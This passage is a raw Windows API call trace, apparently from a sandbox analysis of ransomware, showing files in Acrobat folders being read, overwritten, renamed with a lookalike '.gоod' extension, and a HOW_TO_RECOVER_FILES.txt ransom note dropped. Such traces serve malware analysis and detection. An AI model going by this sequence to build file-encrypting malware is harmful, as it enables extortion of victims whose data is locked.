lpFilePart=0x0) returned 0x41 [0225.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.gоod", lpFilePart=0x0) returned 0x46 [0225.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0225.638] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x82b50473, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0225.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0225.638] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata.gоod")) returned 1 [0225.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", lpFilePart=0x0) returned 0x45 [0225.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0225.639] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), fInfoLevelId=0x0, lpFileInformation=0x36da2e8 | out: lpFileInformation=0x36da2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0225.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0225.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", lpFilePart=0x0) returned 0x45 [0225.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0225.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0225.639] GetFileType (hFile=0x858) returned 0x1 [0225.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0225.639] GetFileType (hFile=0x858) returned 0x1 [0225.639] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x18 [0225.639] ReadFile (in: hFile=0x858, lpBuffer=0x36da5a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x36da5a8*, lpNumberOfBytesRead=0x204eb8c8*=0x18, lpOverlapped=0x0) returned 1 [0226.003] CloseHandle (hObject=0x858) returned 1 [0226.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", lpFilePart=0x0) returned 0x45 [0226.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0226.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0226.116] GetFileType (hFile=0x858) returned 0x1 [0226.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0226.116] GetFileType (hFile=0x858) returned 0x1 [0226.116] WriteFile (in: hFile=0x858, lpBuffer=0x37e4cf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x37e4cf8*, lpNumberOfBytesWritten=0x204eb7d8*=0x20, lpOverlapped=0x0) returned 1 [0226.117] CloseHandle (hObject=0x858) returned 1 [0226.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", lpFilePart=0x0) returned 0x45 [0226.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.gоod", lpFilePart=0x0) returned 0x4a [0226.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0226.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x82fc8a73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0226.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0226.118] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings.gоod")) returned 1 [0226.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0226.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0226.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0226.120] GetFileType (hFile=0x858) returned 0x1 [0226.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0226.120] GetFileType (hFile=0x858) returned 0x1 [0226.121] WriteFile (in: hFile=0x858, lpBuffer=0x37ea618*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37ea618*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0226.122] CloseHandle (hObject=0x858) returned 1 [0226.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0226.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpFilePart=0x0) returned 0x39 [0226.122] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0226.123] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.123] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0226.123] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0226.123] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0226.123] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0226.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0226.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0226.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0226.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpFilePart=0x0) returned 0x39 [0226.123] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0226.124] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.124] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0226.124] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0226.124] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.124] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0226.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0226.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0226.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", lpFilePart=0x0) returned 0x4e [0226.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0226.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), fInfoLevelId=0x0, lpFileInformation=0x37f9c48 | out: lpFileInformation=0x37f9c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe)) returned 1 [0227.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0227.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", lpFilePart=0x0) returned 0x4e [0227.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0227.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.313] GetFileType (hFile=0x860) returned 0x1 [0227.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0227.313] GetFileType (hFile=0x860) returned 0x1 [0227.313] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0227.313] ReadFile (in: hFile=0x860, lpBuffer=0x37d1b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x37d1b70*, lpNumberOfBytesRead=0x204eb968*=0xebe, lpOverlapped=0x0) returned 1 [0227.315] CloseHandle (hObject=0x860) returned 1 [0227.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", lpFilePart=0x0) returned 0x4e [0227.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0227.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.315] GetFileType (hFile=0x860) returned 0x1 [0227.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0227.315] GetFileType (hFile=0x860) returned 0x1 [0227.315] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1ebe [0227.315] WriteFile (in: hFile=0x860, lpBuffer=0x37d2ff0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x37d2ff0*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0227.316] CloseHandle (hObject=0x860) returned 1 [0227.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", lpFilePart=0x0) returned 0x4e [0227.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0227.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.316] GetFileType (hFile=0x860) returned 0x1 [0227.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0227.316] GetFileType (hFile=0x860) returned 0x1 [0227.316] ReadFile (in: hFile=0x860, lpBuffer=0x37d52d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x37d52d0*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0227.344] CloseHandle (hObject=0x860) returned 1 [0227.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", lpFilePart=0x0) returned 0x4e [0227.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0227.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.344] GetFileType (hFile=0x860) returned 0x1 [0227.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0227.344] GetFileType (hFile=0x860) returned 0x1 [0227.344] WriteFile (in: hFile=0x860, lpBuffer=0x37d4008*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x37d4008*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0227.344] CloseHandle (hObject=0x860) returned 1 [0227.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", lpFilePart=0x0) returned 0x4e [0227.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.gоod", lpFilePart=0x0) returned 0x53 [0227.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0227.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x83b8e400, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ece)) returned 1 [0227.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0227.345] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata.gоod")) returned 1 [0227.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0227.346] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpFilePart=0x0) returned 0x42 [0227.346] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 